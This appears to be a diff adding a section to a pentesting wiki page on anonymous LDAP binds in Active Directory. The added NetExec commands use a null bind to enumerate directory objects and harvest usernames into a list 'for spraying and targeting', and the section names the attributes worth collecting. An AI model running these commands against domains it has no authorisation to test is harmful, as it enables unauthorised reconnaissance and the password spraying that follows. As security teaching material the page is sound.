 [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
 However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
 
+### Anonymous LDAP enumeration with NetExec (null bind)
+
+If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
+- (objectClass=*) to inventory objects under a base DN
+- (sAMAccountName=*) to harvest user principals
+
+Examples:
+
+```bash
+# Enumerate objects from the root DSE (base DN autodetected)
+netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
+
+# Dump users with key attributes for spraying and targeting
+netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
+
+# Extract just the sAMAccountName field into a list
+netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
+  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
+```
+
+What to look for:
+- sAMAccountName, userPrincipalName
+- memberOf and OU placement to scope targeted sprays
+- pwdLastSet (temporal patterns), userAccountControl flags (disabled, smartcard required, etc.)
+
+Note: If anonymous bind is not permitted, you’ll typically see an Operations error indicating a bind is required.
